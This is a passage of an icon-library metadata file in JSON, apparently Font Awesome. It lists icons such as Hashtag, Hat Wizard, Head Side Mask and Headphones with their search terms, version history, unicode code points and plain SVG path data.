    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e499",
    "label": "Hashnode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M35.19 171.1C-11.72 217.1-11.72 294 35.19 340.9L171.1 476.8C217.1 523.7 294 523.7 340.9 476.8L476.8 340.9C523.7 294 523.7 217.1 476.8 171.1L340.9 35.19C294-11.72 217.1-11.72 171.1 35.19L35.19 171.1zM315.5 315.5C282.6 348.3 229.4 348.3 196.6 315.5C163.7 282.6 163.7 229.4 196.6 196.6C229.4 163.7 282.6 163.7 315.5 196.6C348.3 229.4 348.3 282.6 315.5 315.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M35.19 171.1C-11.72 217.1-11.72 294 35.19 340.9L171.1 476.8C217.1 523.7 294 523.7 340.9 476.8L476.8 340.9C523.7 294 523.7 217.1 476.8 171.1L340.9 35.19C294-11.72 217.1-11.72 171.1 35.19L35.19 171.1zM315.5 315.5C282.6 348.3 229.4 348.3 196.6 315.5C163.7 282.6 163.7 229.4 196.6 196.6C229.4 163.7 282.6 163.7 315.5 196.6C348.3 229.4 348.3 282.6 315.5 315.5z"
      }
    },
    "free": ["brands"]
  },
  "hashtag": {
    "aliases": {
      "unicodes": {
        "composite": ["f292"],
        "primary": ["f292"],
        "secondary": ["1023", "10f292"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Number Sign",
        "Twitter",
        "instagram",
        "pound",
        "social media",
        "tag"
      ]
    },
    "styles": ["solid"],
    "unicode": "23",
    "label": "Hashtag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M181.3 32.4c17.4 2.9 29.2 19.4 26.3 36.8L197.8 128h95.1l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3s29.2 19.4 26.3 36.8L357.8 128H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H347.1L325.8 320H384c17.7 0 32 14.3 32 32s-14.3 32-32 32H315.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l9.8-58.7H155.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8L90.2 384H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l21.3-128H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3zM187.1 192L165.8 320h95.1l21.3-128H187.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M181.3 32.4c17.4 2.9 29.2 19.4 26.3 36.8L197.8 128h95.1l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3s29.2 19.4 26.3 36.8L357.8 128H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H347.1L325.8 320H384c17.7 0 32 14.3 32 32s-14.3 32-32 32H315.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l9.8-58.7H155.1l-11.5 69.3c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8L90.2 384H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l21.3-128H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l11.5-69.3c2.9-17.4 19.4-29.2 36.8-26.3zM187.1 192L165.8 320h95.1l21.3-128H187.1z"
      }
    },
    "free": ["solid"]
  },
  "hat-cowboy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8c0"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buckaroo",
        "horse",
        "jackeroo",
        "john b.",
        "old west",
        "pardner",
        "ranch",
        "rancher",
        "rodeo",
        "western",
        "wrangler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8c0",
    "label": "Hat Cowboy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 64c14.4 0 22.3-7 30.8-14.4C360.4 41.1 370.7 32 392 32c49.3 0 84.4 152.2 97.9 221.9C447.8 272.1 390.9 288 320 288s-127.8-15.9-169.9-34.1C163.6 184.2 198.7 32 248 32c21.3 0 31.6 9.1 41.2 17.6C297.7 57 305.6 64 320 64zM111.1 270.7c47.2 24.5 117.5 49.3 209 49.3s161.8-24.8 208.9-49.3c24.8-12.9 49.8-28.3 70.1-47.7c7.9-7.9 20.2-9.2 29.6-3.3c9.5 5.9 13.5 17.9 9.9 28.5c-13.5 37.7-38.4 72.3-66.1 100.6C523.7 398.9 443.6 448 320 448s-203.6-49.1-252.5-99.2C39.8 320.4 14.9 285.8 1.4 248.1c-3.6-10.6 .4-22.6 9.9-28.5c9.5-5.9 21.7-4.5 29.6 3.3c20.4 19.4 45.3 34.8 70.1 47.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 64c14.4 0 22.3-7 30.8-14.4C360.4 41.1 370.7 32 392 32c49.3 0 84.4 152.2 97.9 221.9C447.8 272.1 390.9 288 320 288s-127.8-15.9-169.9-34.1C163.6 184.2 198.7 32 248 32c21.3 0 31.6 9.1 41.2 17.6C297.7 57 305.6 64 320 64zM111.1 270.7c47.2 24.5 117.5 49.3 209 49.3s161.8-24.8 208.9-49.3c24.8-12.9 49.8-28.3 70.1-47.7c7.9-7.9 20.2-9.2 29.6-3.3c9.5 5.9 13.5 17.9 9.9 28.5c-13.5 37.7-38.4 72.3-66.1 100.6C523.7 398.9 443.6 448 320 448s-203.6-49.1-252.5-99.2C39.8 320.4 14.9 285.8 1.4 248.1c-3.6-10.6 .4-22.6 9.9-28.5c9.5-5.9 21.7-4.5 29.6 3.3c20.4 19.4 45.3 34.8 70.1 47.7z"
      }
    },
    "free": ["solid"]
  },
  "hat-cowboy-side": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8c1"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buckaroo",
        "horse",
        "jackeroo",
        "john b.",
        "old west",
        "pardner",
        "ranch",
        "rancher",
        "rodeo",
        "western",
        "wrangler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8c1",
    "label": "Hat Cowboy Side",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M152.7 135.9l-10.4 57.2c6.8-.7 13.6-1.1 20.5-1.1h10.7c39.4 0 77.8 12.1 110.1 34.7L562.4 421.8l35.1 24.6c24.4-6 42.5-28.1 42.5-54.4c0-75.8-94.7-126.6-134.6-144.7L474 83.9C468.2 53.8 441.8 32 411.1 32h-2.7c-5.6 0-11.1 .7-16.5 2.2L199.2 85.5c-23.9 6.4-42 26-46.5 50.4zM0 384c0 35.3 28.7 64 64 64H544L265.3 252.9c-26.9-18.8-58.9-28.9-91.8-28.9H162.9c-60.6 0-116 34.2-143.1 88.4L13.5 325C4.6 342.7 0 362.3 0 382.2V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M152.7 135.9l-10.4 57.2c6.8-.7 13.6-1.1 20.5-1.1h10.7c39.4 0 77.8 12.1 110.1 34.7L562.4 421.8l35.1 24.6c24.4-6 42.5-28.1 42.5-54.4c0-75.8-94.7-126.6-134.6-144.7L474 83.9C468.2 53.8 441.8 32 411.1 32h-2.7c-5.6 0-11.1 .7-16.5 2.2L199.2 85.5c-23.9 6.4-42 26-46.5 50.4zM0 384c0 35.3 28.7 64 64 64H544L265.3 252.9c-26.9-18.8-58.9-28.9-91.8-28.9H162.9c-60.6 0-116 34.2-143.1 88.4L13.5 325C4.6 342.7 0 362.3 0 382.2V384z"
      }
    },
    "free": ["solid"]
  },
  "hat-wizard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6e8"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "accessory",
        "buckle",
        "clothing",
        "d&d",
        "dnd",
        "fantasy",
        "halloween",
        "head",
        "holiday",
        "mage",
        "magic",
        "pointy",
        "witch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e8",
    "label": "Hat Wizard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 416L168.6 180.7c15.3-34.4 40.3-63.5 72-83.7l146.9-94c3-1.9 6.5-2.9 10-2.9C407.7 0 416 8.3 416 18.6v1.6c0 2.6-.5 5.1-1.4 7.5L354.8 176.9c-1.9 4.7-2.8 9.7-2.8 14.7c0 5.5 1.2 11 3.4 16.1L448 416H240.9l11.8-35.4 40.4-13.5c6.5-2.2 10.9-8.3 10.9-15.2s-4.4-13-10.9-15.2l-40.4-13.5-13.5-40.4C237 276.4 230.9 272 224 272s-13 4.4-15.2 10.9l-13.5 40.4-40.4 13.5C148.4 339 144 345.1 144 352s4.4 13 10.9 15.2l40.4 13.5L207.1 416H64zM279.6 141.5c-1.1-3.3-4.1-5.5-7.6-5.5s-6.5 2.2-7.6 5.5l-6.7 20.2-20.2 6.7c-3.3 1.1-5.5 4.1-5.5 7.6s2.2 6.5 5.5 7.6l20.2 6.7 6.7 20.2c1.1 3.3 4.1 5.5 7.6 5.5s6.5-2.2 7.6-5.5l6.7-20.2 20.2-6.7c3.3-1.1 5.5-4.1 5.5-7.6s-2.2-6.5-5.5-7.6l-20.2-6.7-6.7-20.2zM32 448H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 416L168.6 180.7c15.3-34.4 40.3-63.5 72-83.7l146.9-94c3-1.9 6.5-2.9 10-2.9C407.7 0 416 8.3 416 18.6v1.6c0 2.6-.5 5.1-1.4 7.5L354.8 176.9c-1.9 4.7-2.8 9.7-2.8 14.7c0 5.5 1.2 11 3.4 16.1L448 416H240.9l11.8-35.4 40.4-13.5c6.5-2.2 10.9-8.3 10.9-15.2s-4.4-13-10.9-15.2l-40.4-13.5-13.5-40.4C237 276.4 230.9 272 224 272s-13 4.4-15.2 10.9l-13.5 40.4-40.4 13.5C148.4 339 144 345.1 144 352s4.4 13 10.9 15.2l40.4 13.5L207.1 416H64zM279.6 141.5c-1.1-3.3-4.1-5.5-7.6-5.5s-6.5 2.2-7.6 5.5l-6.7 20.2-20.2 6.7c-3.3 1.1-5.5 4.1-5.5 7.6s2.2 6.5 5.5 7.6l20.2 6.7 6.7 20.2c1.1 3.3 4.1 5.5 7.6 5.5s6.5-2.2 7.6-5.5l6.7-20.2 20.2-6.7c3.3-1.1 5.5-4.1 5.5-7.6s-2.2-6.5-5.5-7.6l-20.2-6.7-6.7-20.2zM32 448H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "head-side-cough": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e061"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cough", "covid-19", "germs", "lungs", "respiratory", "sick"]
    },
    "styles": ["solid"],
    "unicode": "e061",
    "label": "Head Side Cough",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 32L339.2 365.6c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9L448 416v16c0 26.5-21.5 48-48 48H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zm352-.2a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM464 384a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm152-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM592 480a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 312a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 32L339.2 365.6c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9L448 416v16c0 26.5-21.5 48-48 48H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zm352-.2a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM464 384a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm152-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM592 480a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 312a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM552 408a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "head-side-cough-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e062"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cough", "covid-19", "germs", "lungs", "respiratory", "sick"]
    },
    "styles": ["solid"],
    "unicode": "e062",
    "label": "Head Side Cough Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 325.8l44 34.5c8.1 1.4 14.8 6.8 18 14.1L552.9 408c10.6 .4 19.5 7.6 22.2 17.4l39.1 30.6c.6 0 1.2-.1 1.8-.1c11.1 0 20.4 7.5 23.2 17.8h-3.9c6.2 8.5 6.4 20.4-.4 29c-8.2 10.4-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L89.6 44.9C127 16.7 173.5 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 5.8zM0 224.2c0-38.7 9.8-75.1 27.1-106.9L341.8 365.3l-2.5 .3c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9l62 3.9 43 33.9C439.3 466.2 421.2 480 400 480H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM616 360a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm-64-48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M448 325.8l44 34.5c8.1 1.4 14.8 6.8 18 14.1L552.9 408c10.6 .4 19.5 7.6 22.2 17.4l39.1 30.6c.6 0 1.2-.1 1.8-.1c11.1 0 20.4 7.5 23.2 17.8h-3.9c6.2 8.5 6.4 20.4-.4 29c-8.2 10.4-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L89.6 44.9C127 16.7 173.5 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 5.8zM0 224.2c0-38.7 9.8-75.1 27.1-106.9L341.8 365.3l-2.5 .3c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9l62 3.9 43 33.9C439.3 466.2 421.2 480 400 480H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM616 360a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm-64-48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "head-side-mask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e063"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "filter",
        "flu",
        "infection",
        "pandemic",
        "respirator",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e063",
    "label": "Head Side Mask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 224.2c0-22.2 3.2-43.6 9.2-63.9L262.2 321c-4 9.5-6.2 20-6.2 31V512H128c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C48.6 322.4 32 274.1 32 224.2zm248.3 70.4L53 129.3C88.7 53 166.2 0 256 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c5.4 6.7 8.6 14.8 9.4 23.2H336c-21.7 0-41.3 8.6-55.7 22.6zM336 304H534l0 0h10l-19.7 64H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H514.5l-9.8 32H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H494.8l-.9 2.8c-8.3 26.9-33.1 45.2-61.2 45.2H288V352c0-14 6-26.7 15.6-35.4c0 0 0 0 0 0c8.5-7.8 19.9-12.6 32.4-12.6zm48-80a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 224.2c0-22.2 3.2-43.6 9.2-63.9L262.2 321c-4 9.5-6.2 20-6.2 31V512H128c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C48.6 322.4 32 274.1 32 224.2zm248.3 70.4L53 129.3C88.7 53 166.2 0 256 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c5.4 6.7 8.6 14.8 9.4 23.2H336c-21.7 0-41.3 8.6-55.7 22.6zM336 304H534l0 0h10l-19.7 64H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H514.5l-9.8 32H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H494.8l-.9 2.8c-8.3 26.9-33.1 45.2-61.2 45.2H288V352c0-14 6-26.7 15.6-35.4c0 0 0 0 0 0c8.5-7.8 19.9-12.6 32.4-12.6zm48-80a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "head-side-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e064"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "coronavirus",
        "covid-19",
        "flu",
        "infection",
        "pandemic",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e064",
    "label": "Head Side Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v64c0 35.3-28.7 64-64 64H320v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM224 64c-8.8 0-16 7.2-16 16c0 33-39.9 49.5-63.2 26.2c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6C145.5 152.1 129 192 96 192c-8.8 0-16 7.2-16 16s7.2 16 16 16c33 0 49.5 39.9 26.2 63.2c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0C168.1 286.5 208 303 208 336c0 8.8 7.2 16 16 16s16-7.2 16-16c0-33 39.9-49.5 63.2-26.2c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6C302.5 263.9 319 224 352 224c8.8 0 16-7.2 16-16s-7.2-16-16-16c-33 0-49.5-39.9-26.2-63.2c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0C279.9 129.5 240 113 240 80c0-8.8-7.2-16-16-16zm-24 96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40 80a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v64c0 35.3-28.7 64-64 64H320v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM224 64c-8.8 0-16 7.2-16 16c0 33-39.9 49.5-63.2 26.2c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6C145.5 152.1 129 192 96 192c-8.8 0-16 7.2-16 16s7.2 16 16 16c33 0 49.5 39.9 26.2 63.2c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0C168.1 286.5 208 303 208 336c0 8.8 7.2 16 16 16s16-7.2 16-16c0-33 39.9-49.5 63.2-26.2c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6C302.5 263.9 319 224 352 224c8.8 0 16-7.2 16-16s-7.2-16-16-16c-33 0-49.5-39.9-26.2-63.2c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0C279.9 129.5 240 113 240 80c0-8.8-7.2-16-16-16zm-24 96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40 80a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "heading": {
    "aliases": {
      "names": ["header"],
      "unicodes": {
        "secondary": ["10f1dc"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "header", "text", "title"]
    },
    "styles": ["solid"],
    "unicode": "f1dc",
    "label": "Heading",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H80h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H112V208H336V96H320c-17.7 0-32-14.3-32-32s14.3-32 32-32h48 48c17.7 0 32 14.3 32 32s-14.3 32-32 32H400V240 416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H368 320c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V272H112V416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V240 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H80h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H112V208H336V96H320c-17.7 0-32-14.3-32-32s14.3-32 32-32h48 48c17.7 0 32 14.3 32 32s-14.3 32-32 32H400V240 416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H368 320c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V272H112V416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V240 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "headphones": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3a7"],
        "secondary": ["10f025"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "earbud",
        "headphone",
        "listen",
        "music",
        "sound",
        "speaker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f025",
    "label": "Headphones",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 80C149.9 80 62.4 159.4 49.6 262c9.4-3.8 19.6-6 30.4-6c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48c-44.2 0-80-35.8-80-80V384 336 288C0 146.6 114.6 32 256 32s256 114.6 256 256v48 48 16c0 44.2-35.8 80-80 80c-26.5 0-48-21.5-48-48V304c0-26.5 21.5-48 48-48c10.8 0 21 2.1 30.4 6C449.6 159.4 362.1 80 256 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 80C149.9 80 62.4 159.4 49.6 262c9.4-3.8 19.6-6 30.4-6c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48c-44.2 0-80-35.8-80-80V384 336 288C0 146.6 114.6 32 256 32s256 114.6 256 256v48 48 16c0 44.2-35.8 80-80 80c-26.5 0-48-21.5-48-48V304c0-26.5 21.5-48 48-48c10.8 0 21 2.1 30.4 6C449.6 159.4 362.1 80 256 80z"
      }
    },
    "free": ["solid"]
  },
  "headphones-simple": {
    "aliases": {
      "names": ["headphones-alt"],
      "unicodes": {
        "secondary": ["10f58f"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "listen", "music", "sound", "speaker"]
    },
    "styles": ["solid"],
    "unicode": "f58f",
    "label": "Headphones Simple",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 80C141.1 80 48 173.1 48 288V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288C0 146.6 114.6 32 256 32s256 114.6 256 256V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288c0-114.9-93.1-208-208-208zM80 352c0-35.3 28.7-64 64-64h16c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V352zm288-64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 80C141.1 80 48 173.1 48 288V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288C0 146.6 114.6 32 256 32s256 114.6 256 256V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288c0-114.9-93.1-208-208-208zM80 352c0-35.3 28.7-64 64-64h16c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V352zm288-64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h16z"
      }
    },
    "free": ["solid"]
  },
  "headset": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f590"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "gamer",
        "gaming",
        "listen",
        "live chat",
        "microphone",
        "shot caller",
        "sound",
        "support",
        "telemarketer"
